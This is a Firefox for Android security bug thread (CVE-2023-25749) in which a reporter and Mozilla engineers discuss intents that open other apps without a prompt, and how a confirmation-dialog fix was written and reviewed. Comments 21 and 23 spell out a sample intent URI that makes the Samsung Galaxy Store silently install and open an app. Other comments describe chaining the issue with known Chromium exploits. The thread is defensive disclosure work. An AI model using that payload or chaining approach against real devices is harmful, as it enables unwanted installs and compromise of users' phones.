1810705 - (CVE-2023-25749) Opening intents without asking puts Firefox users at risk of any known exploit in any intent-addressable app that hasn't been patched

Status: RESOLVED FIXED

(Firefox for Android :: Browser Engine, defect, P1)

Description

[Kirtikumar Anandrao Ramchandani]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36

Steps to reproduce:

1. Visit exploit
2. Click on the hyperlink

Actual results:

The browser will redirect to the target app without notifying the User and use the available Chromium exploit to trigger RCE there.

Expected results:

It should check and ask if the user wants to be redirected to Samsung Internet

Comment 1

[Kirtikumar Anandrao Ramchandani]

The bug was marked "in-the-wild" here: https://bugs.chromium.org/p/chromium/issues/detail?id=1345630

A similar bug was exploited in the wild in the Firefox browser https://bugzilla.mozilla.org/show_bug.cgi?id=1584582

Adding a few members of that bug into the CC'd list to apply the patch a bit early.

A more clear PoC can be found at https://kirtikumarar.com/2.html

Comment 2

[Kirtikumar Anandrao Ramchandani]

One bug is of fallback URL and the next android intent action.
Chromium bugs:

1. Fallback: https://bugs.chromium.org/p/chromium/issues/detail?id=1345630
2. https://bugs.chromium.org/p/chromium/issues/detail?id=1249962

Comment 3

[Frederik Braun [:freddy] (OOO - back August 10th)]

First of all, thank you for working with us. We will need a bit more information to continue here.
My interpretation is that your talk of a Chromium RCE is a hypothetical scenario.

Do I correctly understand is that the main meat of your report is that we allow opening third-party apps without a prompt here?

Secondly, please use the opportunity to communicate and work with our engineering teams more consciously. There is no need to flag three individuals with needinfo directly. We have processes to assess and triage security bugs. Please be mindful that every flag here will cause at least one additional email. That's likely not very necessary. Thank you.

Comment 4

[Kirtikumar Anandrao Ramchandani]

Do I correctly understand is that the main meat of your report is that we allow opening third-party apps without a prompt here?

Yes, you are correct. We have to add prompt for third party applications here.

To turn this into RCE, you can use already available bugs which are in public affecting Chromium code as the Samsung Internet is running on 102 whereas the latest build of Chrome is 108, one can utilise the bug which can be exploited in the Samsung Internet.

Apologies for adding needinfo flag. I was just confirming that the report reaches to the owners because this case is public and earlier similar bug of iframe redirection was reported too. :-)

Thanks for quick update.

Comment 5

[Daniel Veditz [:dveditz]]

(In reply to Kirtikumar Anandrao Ramchandani from comment #2)

2. https://bugs.chromium.org/p/chromium/issues/detail?id=1249962

Thank you! That's what I keep saying our mobile browsers should do! I don't care if phone users don't like the friction, People on the internet are jerks and doing things without asking sets you up for trouble. I think we have a bug to the effect "Treat intents like desktop treats external protocols". We may allow-list a handful, but everything else should be a per-site/intent pair permission and ask first ("remember for this site" is fine after that).

Given the right conditions the impact could be critical, but relies on having that second vulnerable component. Since phones come with lots of things built in (including the browser engine) and phones also stop getting support after a couple of years this is a very likely scenario.

We probably have a duplicate bug, but it might be diffuse recommendations in lots of other bugs. We can use this as a placeholder for now.

Comment 6

[Chris Peterson [:cpeterson]]

We'll want to apply this fix to Focus Android, too.

Comment 7

[Kirtikumar Anandrao Ramchandani]

(In reply to Daniel Veditz [:dveditz] from comment #5)

Thank you! That's what I keep saying our mobile browsers should do! I don't care if phone users don't like the friction, People on the internet are jerks and doing things without asking sets you up for trouble. I think we have a bug to the effect "Treat intents like desktop treats external protocols". We may allow-list a handful, but everything else should be a per-site/intent pair permission and ask first ("remember for this site" is fine after that).

Exactly, treating intents on Android devices like on the desktop, it treats external protocols seems to be a good approach. On the Desktop to open external protocols, it always gives a pop-up for confirmation unless the site is whitelisted (allowing always).

Given the right conditions the impact could be critical, but relies on having that second vulnerable component. Since phones come with lots of things built in (including the browser engine) and phones also stop getting support after a couple of years this is a very likely scenario.

Like a puzzle with missing pieces, a vulnerability alone may not cause harm, but when paired with the right conditions, the impact can be critical as I can't remove the PoC (which might leak my personal device info) from this report, I will send it through the mail in a few hours. And yes, Just like a phone is equipped with multiple built-in components, including the browser engine, and may eventually reach its end-of-life, adding an extra layer of protection, such as asking for permission to navigate to intents, can act as a safeguard to strip out any potential intent bugs and fortify the security of the system. Adding an extra layer of security is like adding a cherry on top of a cake, it adds an extra layer of sweetness and security to the overall flavor of the cake. The solution sounds good and is robust.

We probably have a duplicate bug, but it might be diffuse recommendations in lots of other bugs. We can use this as a placeholder for now.

Oh, okay. I tried to search it through Bugzilla before reporting like it asks if there is the bug listed or not but was only able to find old patched bugs. I might have missed it if there was dup (and in private view), feel free to CC me. :-)

Would the team mind if I bisect the bug into two separate bugs? Because both are separate cases (one given as ref)

Comment 8

[Kirtikumar Anandrao Ramchandani]

I think while https://searchfox.org/comm-central/source/mozilla/mobile/android/geckoview/src/main/java/org/mozilla/gecko/util/IntentUtils.java#74-76
here it should be having check whenever there is external intent which Firefox can't handle should pop dialog, yes?

Comment 9

[Kirtikumar Anandrao Ramchandani]

I have sent a video proof-of-concept to the email "[e-mail]", please refer to it. The exploit which I used in the Video proof-of-concept can be found here.

Note: If you are using a Samsung device please change the package name according to the need, I have shared a video proof-of-concept for Xiaomi.

Just in case, the team wants to test it on the latest device of Samsung and the updated Android version, please use this

If in case, you need the current vulnerability chain which is vulnerable in Samsung Internet Browser, let me know. I have reported the case to patch the current bugs.

Daniel sir, can we bump the severity from High to Critical considering that it is being used in the wild+chain available?

Chris sir, I assume you are handling this bug as you mentioned that it has to be patched in the Fenix too, I attached the link in Comment 8. If you will see the Fenix code base and the last test case I have used to show Video Proof-of-concept, both of them use intent and the android-app to open an external app to trigger the case.

The code in Comment 8 is below:

if (("intent".equals(scheme) || "android-app".equals(scheme))) {
      // Bug 1356893 - Rject intents with file data schemes.
      return getSafeIntent(aUri) != null;

I see that it is only checking if the URI is a file data scheme or not. We should have a patch after that which adds the dialog to prompt user if he is interested in navigating or not by something like this:

    if (("intent".equals(scheme) || "android-app".equals(scheme))) {
      // Bug 1356893 - Reject intents with file data schemes.
+      Intent intent;
+      try {
+          intent = Intent.parseUri(aUri.toString(), 0);
+      } catch (final URISyntaxException e) {
+         return null;
+    }
+      Uri data = intent.getData();
+      if (data != null && "file".equals(normalizeUriScheme(data).getScheme())) {
+        return false;
+      }
+      // Show a dialog to confirm the navigation to the external app
+      // and only return the intent if the user confirms
+     if (!confirmNavigation(intent)) {
+        return false;
+      }
+      return true;
+    }
+
+    return true;
+  }
+  
+  // Add a method to confirm navigation to external app
+  private static boolean confirmNavigation(Intent intent) {
+   // Code to show a dialog to confirm navigation to external app
+   // and return the user's decision
+  }
+}

Also, in the Codebase of this intent on Line 78, there is typo rject, alter it to reject.

Do I need to give a patch file?

Adding the "needinfo" flag for Daniel sir and Chris sir to review the question of bumping the severity and to confirm if the patch provides the expected results respectively.

Comment 10

[Kirtikumar Anandrao Ramchandani]

Unfortunately, security@ mail didn't work but I assume it was sent to the team member who was CC'd to list.

Comment 11

[Kirtikumar Anandrao Ramchandani]

The bug is tested on the latest version, Firefox 109, shared the version details in the PoC as well.

Comment 12

[Joe M [:jmahon]]

We'll need some UX input before fixing this; e.g. some kind of "Are you sure? / [remember this choice?]" prompt. Syncing to Jira to put it in their backlog.

Comment 13

[Kirtikumar Anandrao Ramchandani]

Do you want me to write a page which will add such dialog?

Comment 14

[Kirtikumar Anandrao Ramchandani]

Patch*

Comment 15

[Kirtikumar Anandrao Ramchandani]

Hi,

I would request the Mozilla team to patch this bug on an urgent basis because there is Pwn2Own coming up in the month of March. Similar intent bug was reported in the Pwn2Own in the year 2013. Can we get a patch before the End of Feb?

Thanks!

Comment 16

[Daniel Veditz [:dveditz]]

I have sent a video proof-of-concept to the email "[e-mail]", please refer to it. The exploit which I used in the Video proof-of-concept can be found here

That appears to be an unrelated WebGL testcase. We don't need the video though. Unless it's a vulnerability in video processing that is triggered by that video, a video is not a "proof"-of-concept. Videos are sometimes useful for clarifying what someone is trying to describe, but in this case we understand how intents work. The links you gave in comment 0 and comment 1 are what we mean by Proof-of-concept. I assume from what the video shows that you meant the 2.html testcase rather than exploit.html, but that demonstrates the problem with videos as "proofs": there's no way to tell for sure what's really happening.

there is Pwn2Own coming up in the month of March

The Spring P2O no longer includes mobile browsers. The Mobile (and internet devices) P2O in the Fall has lately only included default device browsers on their target lists. The reason for urgency is not because of this, but because of the version info you noted in comment 4 and the fact that there appear to be at least 6 known Chrome-based exploits found in the wild that were patched in versions newer than the default Samsung internet.

https://chromereleases.googleblog.com/2022/07/stable-channel-update-for-desktop.html
https://chromereleases.googleblog.com/2022/08/stable-channel-update-for-desktop_16.html (this bug)
https://chromereleases.googleblog.com/2022/09/stable-channel-update-for-desktop.html
https://chromereleases.googleblog.com/2022/10/stable-channel-update-for-desktop_27.html
https://chromereleases.googleblog.com/2022/11/stable-channel-update-for-desktop_24.html
https://chromereleases.googleblog.com/2022/12/stable-channel-update-for-desktop.html

Comment 17

[Daniel Veditz [:dveditz]]

Attachment: bug1810705-1.html

Comment 18

[Daniel Veditz [:dveditz]]

Attachment: bug1810705-2.html

Comment 19

[Kirtikumar Anandrao Ramchandani]

(In reply to Daniel Veditz [:dveditz] from comment #16)

Thanks for linking the other possible cases which were being exploited in the wild. :-)

The Spring P2O no longer includes mobile browsers. The Mobile (and internet devices) P2O in the Fall has lately only included default device browsers on their target lists. The reason for urgency is not because of this, but because of the version info you noted in comment 4 and the fact that there appear to be at least 6 known Chrome-based exploits found in the wild that were patched in versions newer than the default Samsung internet.

Acknowledged, they have Desktop browsers on the list. Also, don't incorporate the patch shared in Comment 9, I just realized that it will have a problem on line 88. Can I give another patch that checks for safe intent and then add the dialog if the user wants to navigate?

Thanks for the quick updates!

Comment 20

[Daniel Veditz [:dveditz]]

Via mail, Kirtikumar points to this recently fixed Samsung vulnerability where an attacker could use an intent to cause the Samsung Galaxy Store to download, install, and open an arbitrary app even if the user did not normally use the Galaxy Store for apps.
https://research.nccgroup.com/2023/01/20/technical-advisory-multiple-vulnerabilities-in-the-galaxy-app-store-cve-2023-21433-cve-2023-21434/

Comment 21

[Joe M [:jmahon]]

To summarize and clarify a bit for @:bclark (or anyone who hasn't seen this yet):

Worst-case scenario example (as of last month; has since been patched in the wild):

• Malicious actor creates a hyperlink to a page that 302 redirects and sends that to a user in an email.
• The 302 redirects to an Intent to the Samsung Galaxy Store that includes extras that automatically download a new app:
  • intent://joeshackerstuff/#Intent;scheme=https;package=com.sec.android.app.samsungapps/.detail.alleypopup.AlleyDetailActivity;action=android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP;S.GUID=com.nianticlabs.pokemongo.ares;B.directInstall=true;B.directOpen=true;end
  • (Note: I cobbled that together quickly; the syntax may not be perfect)
• Now, the malicious actor’s app - Pokemon Go, in this example - is installed and running in the background without ever being seen by the user

While the Samsung Galaxy Store has patched that particular exploit, the presumption is that there are other exploits in other 3rd party apps (e.g., in the built-in Samsung Internet app, or other popular apps users may have installed on their devices).

The proposed fix is to intercept Intents with some kind of dialog to make sure users are aware they’re leaving the (perceived) “safe zone” of Firefox.

(Preceding participants: If this is an inaccurate summary, please correct it as succinctly as possible so we can effectively move people on or off this as needed.)

Comment 22

[Christian Sadilek [:csadilek]]

Fenix in private mode, and Focus, actually already display a prompt to confirm with the user before opening the link with an external app. This also works in the cases described here. My proposal for a short-term fix is to re-use this prompt in normal (non-private) browsing mode, and adjust the prompts title. This code is in A-C/Fenix's app links functionality, and we wouldn't need any GeckoView changes.

We can improve on this in future versions e.g., to hook into site permissions or to make the prompt look nicer.

Comment 23

[Kirtikumar Anandrao Ramchandani]

Christian, are you suggesting a solution that is similar to Comment 9, ref the patch? It might create an issue, for this check Comment 19.

(In reply to Joe M [:jmahon] from comment #21)

To summarize and clarify a bit for @:bclark (or anyone who hasn't seen this yet):

Worst-case scenario example (as of last month; has since been patched in the wild):

• Malicious actor creates a hyperlink to a page that 302 redirects and sends that to a user in an email.
• The 302 redirects to an Intent to the Samsung Galaxy Store that includes extras that automatically download a new app:
  • intent://joeshackerstuff/#Intent;scheme=https;package=com.sec.android.app.samsungapps/.detail.alleypopup.AlleyDetailActivity;action=android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP;S.GUID=com.nianticlabs.pokemongo.ares;B.directInstall=true;B.directOpen=true;end
  • (Note: I cobbled that together quickly; the syntax may not be perfect)
• Now, the malicious actor’s app - Pokemon Go, in this example - is installed and running in the background without ever being seen by the user

While the Samsung Galaxy Store has patched that particular exploit, the presumption is that there are other exploits in other 3rd party apps (e.g., in the built-in Samsung Internet app, or other popular apps users may have installed on their devices).

The proposed fix is to intercept Intents with some kind of dialog to make sure users are aware they’re leaving the (perceived) “safe zone” of Firefox.

(Preceding participants: If this is an inaccurate summary, please correct it as succinctly as possible so we can effectively move people on or off this as needed.)

I agree with the summary you have provided. It is accurate and also it effectively conveys a thorough understanding of the core issue at hand. Besides the Samsung Browser, one can take other browsers as the target or can pass the intent to Dialer, etc, and perform the action too.

Comment 24

[Christian Sadilek [:csadilek]]

Christian, are you suggesting a solution that is similar to Comment 9, ref the patch? It might create an issue, for this check Comment 19.

My proposal is that we fix this on the application level, the patch you're referencing is in GeckoView. Since we already have a confirmation prompt and the required callbacks for this, which are used in Fenix private browsing and Focus, it would be easier to re-use that and refine later, but the team will take a look: https://searchfox.org/mozilla-mobile/rev/7ce5f06ec95f6a5bd9da130813f1b2fb76083b42/firefox-android/android-components/components/feature/app-links/src/main/java/mozilla/components/feature/app/links/AppLinksFeature.kt#106-118.

Comment 25

[Kirtikumar Anandrao Ramchandani]

@David, Thanks for attaching the bug 1741817 in this case, interesting caught!

@Christian, I think if the approach of adding the prompt "if they want to navigate or not" is implemented, then, it should be capable of patching the bug which is just attached by @David.

(In reply to Christian Sadilek [:csadilek] from comment #24)

My proposal is that we fix this on the application level, the patch you're referencing is in GeckoView. Since we already have a confirmation prompt and the required callbacks for this, which are used in Fenix private browsing and Focus, it would be easier to re-use that and refine later, but the team will take a look: https://searchfox.org/mozilla-mobile/rev/7ce5f06ec95f6a5bd9da130813f1b2fb76083b42/firefox-android/android-components/components/feature/app-links/src/main/java/mozilla/components/feature/app/links/AppLinksFeature.kt#106-118.

Thanks for sharing! This seems to be reasonable to me, just after importing android.app.AlertDialog, and adding the dialog, it should patch this bug. When can we expect it to be in the Nightly build for re-testing purposes?

Comment 26

[Christian Sadilek [:csadilek]]

Yes, I agree, it would address both. Thanks for investigating! The ticket will be updated by the team when a patch is ready.

Comment 27

[Roger Yang [:royang]]

Attachment: bug1810705_1.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Not easy, the patch added a new third party launch flow but does not show why we are doing it.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No, there are nothing in the patch that points to the security problem.

Which older supported branches are affected by this flaw?
All

If not all supported branches, which bug introduced the flaw?
N/A

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
No, because this new flow requires new strings, we will have to also backport the string (and it's associated translations).

How likely is this patch to cause regressions; how much testing does it need?
Low likeliness to cause regression. Lots of unit tests related to this feature and we've been using the same user flow in private tabs for a long time.

Comment 28

[Christian Sadilek [:csadilek]]

Comment on attachment 9314867 [details] [diff] [review]
bug1810705_1.patch

Review of attachment 9314867 [details] [diff] [review]:
-----------------------------------------------------------------

Patch looks good to me! I tested it against the reported problems to confirm that we now always display a confirmation prompt, and let users decide, before opening another application.

In my opinion, this is a good immediate fix. 

We have some follow-up tasks with lower priority that require Product input:
- Should we support saving the user's choice, either globally and/or per site and app?
- Now that we have a confirmation prompt, can the "open link in app" setting default to true?
- Should we create a nicer unified dialog across our apps and browsing modes for this?

I think once this patch lands, we can discuss all of the above and track separately.

::: android-components/components/feature/app-links/src/main/res/values/strings.xml
@@ +10,4 @@
>      <string name="mozac_feature_applinks_open_in">Open in…</string>
>      <!-- The description to warn users that their private browsing session changes  -->
>      <string name="mozac_feature_applinks_confirm_dialog_title">Open in app? Your activity may no longer be private.</string>
> +    <!-- The description to warn users that their normal browsing session is trying to open another app  -->

nit (for l10n): This is just the title of the prompt.

@@ +11,5 @@
>      <!-- The description to warn users that their private browsing session changes  -->
>      <string name="mozac_feature_applinks_confirm_dialog_title">Open in app? Your activity may no longer be private.</string>
> +    <!-- The description to warn users that their normal browsing session is trying to open another app  -->
> +    <string name="mozac_feature_applinks_normal_confirm_dialog_title">Open in another app</string>
> +    <!-- The message to warn users that their normal browsing session is trying to open another app  -->

nit: As a localization hint, it would be better to write that this is a message/question for the user to confirm that....

Comment 29

[Kirtikumar Anandrao Ramchandani]

(In reply to Christian Sadilek [:csadilek] from comment #28)

• Should we support saving the user's choice, either globally and/or per site and app?

It might create a problem for mere mortals like us. :(
I think it should be per site. Because if it is allowed globally, it will be problematic because let's say if a user has allowed google.com for redirection to any app, here, Samsung Internet then whenever a user will visit the attacker's site, he will be redirected to the Samsung Internet if the choice of global was saved.

• Now that we have a confirmation prompt, can the "open link in app" setting default to true?

If the link can be handled by Firefox itself shouldn't we be having user in the Firefox itself?

Comment 30

[Christian Sadilek [:csadilek]]

If the link can be handled by Firefox itself shouldn't we be having user in the Firefox itself?

There are use cases e.g., authentication through 3rd party apps that currently don't work in Fenix (but do in other browsers), because we're not redirecting to the corresponding apps by default. Now with the confirmation prompt, we can revisit that decision. I am not making a statement, just listing follow-up topics for discussion, independent of this immediate patch.

Comment 31

[Kirtikumar Anandrao Ramchandani]

Oh, okay cool. Btw, thanks @Roger for the quick patch and @Christian for reviewing the patch. Also, thanks @Daniel for reminding me about Bug 1741817.

May I know if this patch is supposed to be released in the upcoming Nightly build?

Comment 32

[Roger Yang [:royang]]

This change is still waiting for security review. Once that's completed I will land this.

Comment 33

[Tom Ritter [:tjr]]

Comment on attachment 9314867 [details] [diff] [review]
bug1810705_1.patch

Approved to land if you and relman are comfortable uplifting this to Beta this late in the cycle.

Comment 34

[Roger Yang [:royang]]

(In reply to Tom Ritter [:tjr] from comment #33)

Comment on attachment 9314867 [details] [diff] [review]
bug1810705_1.patch

Approved to land if you and relman are comfortable uplifting this to Beta this late in the cycle.

Unfortunately, there is a couple strings that require translations first before we can uplift to Beta. I am not sure if we have enough time to get those translations this late in the cycle.

Comment 35

[Roger Yang [:royang]]

Confirmed with Tom that we do want this change to ride the merge train. It will get into Beta in two weeks and release in 1.5 months.

Comment 36

[Tiffanie Shakespeare [:tif]]

Sorry I've lost the thread a little bit between Slack and bugzilla and I'm not seeing a reference to Emily / content design - did Emily get looped on this one? @roger was this the one with the dialogue you posted over slack? Thanks!

Comment 37

[Daniel Veditz [:dveditz]]

(In reply to Joe M [:jmahon] from comment #21)

While the Samsung Galaxy Store has patched that particular exploit, the presumption is that there are other exploits in other 3rd party apps (e.g., in the built-in Samsung Internet app, or other popular apps users may have installed on their devices).

The Galaxy store was just one handy example: easily explained, easily exploited without much "hacking" and fully explained in blog posts, and probably lots of vulnerable people who haven't updated their phone yet this month.

Another specific worry is Samsung Internet Browser which is based on Chromium. Is it getting critical patches or not? Its userAgent claims it is based on a down-rev vulnerable Chrome version, and nowhere can I find a list of fixed security issues in that app. On their Samsung Mobile site they list the "Android" issues they fixed, and issues fixed in specific apps, but they never mention the browser and I can't find any of the CVEs for any of the 2022 "in-the-wild" Chrome exploits I looked for (for example, CVE-2022-3723).

Yet the app -is- getting updated with something -- latest update was v19.0.6.3 at the end of December and contained "Improved stability issues and applied new security patches". If the userAgent is a lie then I may be worrying too much (but why would they do that?). If they're trying to cherry-pick security fixes to a 6-month-old version then I'm sure they're missing a lot of fixes. But hopefully they are at least stopping the in-the-wild exploits? The silence about such a critical component as their browser is worrying.

Comment 38

[Roger Yang [:royang]]

Change landed and is now in Nightly.(In reply to Tiffanie Shakespeare [:tif] from comment #36)

Sorry I've lost the thread a little bit between Slack and bugzilla and I'm not seeing a reference to Emily / content design - did Emily get looped on this one? @roger was this the one with the dialogue you posted over slack? Thanks!

Yes, that's correct, the change is the one I posted over slack.

Comment 39

[Roger Yang [:royang]]

Fix landed and is now in Nightly

Comment 40

[Kirtikumar Anandrao Ramchandani]

The patch was verified on the Nightly and seems to be good to me now. Thanks for the quick patch!

I don't see a possible bypass in it which I was thinking of. :-)

@Daniel, can you please check the emails if the bisection is possible now?

@Tom, the advisory for this bug will be published when the patch is merged into the stable build, yes? Will we have three separate bugs in the advisory?

Thank you once again to the Firefox team for taking enough measures to ensure safety of the customers as soon as possible!

Comment 41

[Tom Ritter [:tjr]]

The advisory will be published when the release the patch is in is released to users. Right now, this would be March 14; unless we uplift his to release early, but I believe we would like more stability testing before we do that. That is up to the bug owner and relman. When we publish the advisory we will reference this bug. We sometimes will reference other webpages or bugs when appropriate.

Comment 42

[Ryan VanderMeulen [:RyanVM]]

For posterity, this fix landed under 1814130.
https://github.com/mozilla-mobile/firefox-android/commit/4ff195aa268af1dabbcac050bb6e3e6e9abecff7

Comment 43

[Daniel Veditz [:dveditz]]

@Daniel, can you please check the emails if the bisection is possible now?

I don't know what this means

Comment 45

[Kirtikumar Anandrao Ramchandani]

(In reply to Daniel Veditz [:dveditz] from comment #43)

@Daniel, can you please check the emails if the bisection is possible now?

I don't know what this means

By bisect, I meant to say if the issues in the References (total 3) will be addressed separately in the advisory or not because as per Comment 24, it will be refined later.

Comment 46

[Daniel Veditz [:dveditz]]

I'm pretty sure Christian was talking about refining the user experience code, not what it fixes. Or perhaps making finer distinctions so you can allow certain intents "always" just from one origin and not globally.

Comment 47

[Daniel Veditz [:dveditz]]

Attachment: advisory.txt

Comment 48

[Frederik Braun [:freddy] (OOO - back August 10th)]

Attachment: advisory.txt

Comment 49

[Daniel Veditz [:dveditz]]

Attachment: advisory.txt

Comment 50

[Kirtikumar Anandrao Ramchandani]

I assume that the emails at security@ aren't being monitored lately. I am dropping a message here. As per the advisory published the bug is for the intent: URIs whereas according to bug 1741817, it was a bug for tel: URis. The intent: URIs can open a vector for navigation to any application whereas, the tel: URI is specific to the Dialer and it is not a third-party app. Considering this, I would be more than happy if the team can check the last few email reminders I sent for this issue only. :-)

Moreover, while as per the Comment 20, it was noted that the issue was in-the-wild and also as per the Commet 16. Any specific reason it wasn't notified in the advisory that there are chance issues were being utilized by the attackers?

Comment 51

[Kirtikumar Anandrao Ramchandani]

Gentle Remainer. It has been more than 2 weeks, no updates were provided by mail or in this bug report.

Comment 52

[Kirtikumar Anandrao Ramchandani]

The visibility of the case was updated as there is still a variant publicly available in other Android apps that are being exploited and this bug was taken into ref.

Comment 53

[Daniel Veditz [:dveditz]]

Please give us references we can periodically check to test when this can be made public. Otherwise without such a dependency it will end up being unhidden again because it will show up as a bug that was fixed long ago in a future clean-up pass.

Comment 54

[Kirtikumar Anandrao Ramchandani]

(In reply to Daniel Veditz [:dveditz] from comment #53)

Please give us references we can periodically check to test when this can be made public. Otherwise without such a dependency it will end up being unhidden again because it will show up as a bug that was fixed long ago in a future clean-up pass.

Hello,

@Daniel, Apologies as I made this issue private without prior notice. Please check the Security@ mail and I have CC'd you in it. I will update this case after verifying all the edge cases that might be possible in this.

@Christian, do you think there is anything left except the decision in Comment 30? Also, have a look at the follow-ups which might be worth of adding in Comment 28. :-)

It is less likely that there can be any edge cases because of the robust solution introduced by the Firefox folks but as some were detected on the previous code-base, I thought of making this private to take precautions and verify it again. I hope we are allowed to re-test this and then make it public?

Thank you!

Comment 55

[Daniel Veditz [:dveditz]]

Please add a link to the Chromium bug; I understand we won't be able to view it now but it will be a useful reference in the future. Especially if that's the reason for keeping this bug hidden. Answered your mail but the rest is off-topic for this specific bug report so we can carry on that conversation over there.

Comment 56

[Christian Sadilek [:csadilek]]

@Christian, do you think there is anything left except the decision in Comment 30?

I am not aware of anything else, no, as long as we don't revise the decision to always ask the user by default.

Comment 57

[Kirtikumar Anandrao Ramchandani]

Hello,

Sorry for the late response.

I am not aware of anything else, no, as long as we don't revise the decision to always ask the user by default.

@Christian, if we don't revise the decision still Mozilla will have a loss here. Why?

Currently, here a case is patched so strictly that even though a normal URL can be handled by Firefox, still it is being redirected to the attacker's desired application. For example, in the Chrome bug, you can see it is handling the Fallback URL which means let's say a developer asked the browser to visit "google.com" but if the Firefox cannot handle it, it will move ahead and open the package mentioned in the intent but currently, here if you will see the URL which can be handled by Firefox is now still being forwarded.

Here is the next attack scenario. Even though URLs can be handled by Firefox, the intent is fooling the user by saying "Hey! Firefox isn't able to handle this URL, let me open it on the Samsung Internet for you?" It should be noted that when Firefox can open the URL safely and let user enjoy the secured ground on Firefox, why the attacker is allowed to fool the Firefox browser by showing a fallback? The worst scenario will be below:

An attacker attacks a user and when the investigation takes place, they realize that the intent has fallback so unfortunately Firefox wasn't able to handle the URL originally it was able to handle it. Besides being a forceful redirection by fooling the browser, Firefox will have a loss of users here. Attackers will share these URLs and redirect the user base to their desired browser unnecessarily. :)

I think we should revise the decision for the good cause?

Apologies for the late response as my health hasn't been good lately.

Comment 58

[Kirtikumar Anandrao Ramchandani]

(In reply to Christian Sadilek [:csadilek] from comment #26)

Yes, I agree, it would address both. Thanks for investigating! The ticket will be updated by the team when a patch is ready.

With that idea on Comment 25 it addressed both but seems like we need to go with the Comment 30 that is, we need to jump back and introduce a solution which if the Firefox.

I assume something goes here?

@Christian, what's your take? Because if we forcefully require the exploit to forward the browser to other app even if it can be handled this code might not be working as it was intended? Or maybe here?

Comment 59

[Roger Yang [:royang]]

(In reply to Kirtikumar Anandrao Ramchandani from comment #57)

An attacker attacks a user and when the investigation takes place, they realize that the intent has fallback so unfortunately Firefox wasn't able to handle the URL originally it was able to handle it. Besides being a forceful redirection by fooling the browser, Firefox will have a loss of users here. Attackers will share these URLs and redirect the user base to their desired browser unnecessarily. :)

HI Kirtkumar, just want to clarify your concern here, you're worried that when a user taps on a link, the attacker can force a switch to a different browser? (if that browser is installed) Isn't this a similar case where we open a reddit link and reddit tries to redirect to their app?

Comment 60

[Kirtikumar Anandrao Ramchandani]

No, not really. A fallback is usually something a browser handles for example in Web, we have fallback fonts.
If a particular font didn’t work on a browser it will use the fallback font set by the developer. Similar to that this artificially crafted URL first instructed the browser by saying “Can you open google.com?” The Firefox responded “Sorry, you will have to go to Samsung Internet browser”.
I don’t know if reddit actually has any registered URI like whatsapp://

Comment 61

[Kirtikumar Anandrao Ramchandani]

Seems like Chrome isn’t redirecting on the fallback URL but it is also not opening the specified URL. Only browser which checks if the URL is possible to open and if yes, it opens, then, I see Yandex does that job. When fallback was used, it didn’t have any redirection instead it handled and opened the URL inside that tab which was a user would be expecting, I think so.

Comment 62

[Roger Yang [:royang]]

I see. To be clear, your suggestion is for Firefox Android to ignore the fallback URL?

Comment 63

[Kirtikumar Anandrao Ramchandani]

Yes, correct. It should ignore Fallback URL because if Firefox is able to handle the URL why it is redirecting to the other app? It would lose user base eventually causing loss to Firefox

Comment 64

[Roger Yang [:royang]]

Understood. Your concern here is more of a design issue rather than a security issue. I've created an issue(https://bugzilla.mozilla.org/show_bug.cgi?id=1875904) to track that so we avoid intercepting the fallback URL and load it in Fenix/Focus when it's available. Thanks for your suggestion.

Comment 65

[Kirtikumar Anandrao Ramchandani]

It is a security issue if you think differently. Think for a second if by default the fallback URL is being redirected and attacker is aware of it, he will use Firefox as a medium to send the user to the vulnerable application like Samsung Internet and attack the user. It is same issue as intent which we were working on. :)

Comment 66

[Roger Yang [:royang]]

I understand. However, applinks feature itself is a compromise between privacy vs convenience. This is why (with your help on this issue) we've added a prompt last year in normal tabs to prompt the user. Your help of raising this issue last year definitely made applinks safer.

We can help the user stay inside Mozilla's ecosystem where we know we protect their privacy and security. However, we need to give the user the choice to use applications that they have already installed even though some of these applications could be vulnerable to attacks.

Comment 67

[Roger Yang [:royang]]

Update. Looking at the current implementation, we've already specified that we will not intercept fallback URL.
https://searchfox.org/mozilla-mobile/rev/2655756f8d424489c4dda3486c7cec3bd408f347/firefox-android/android-components/components/concept/engine/src/main/java/mozilla/components/concept/engine/request/RequestInterceptor.kt#38

This was introduced February last year to fix an unrelated issue. https://bugzilla.mozilla.org/show_bug.cgi?id=1809269. The attacker should not be able to use fallback URL to trigger applinks and redirect to another application.

Comment 69

[James Lee]

Hi, could you please confirm that bug 1741817 is also a duplicate to bug 1732496 ?

Comment 70

[Daniel Veditz [:dveditz]]

The Chromium bugs are public now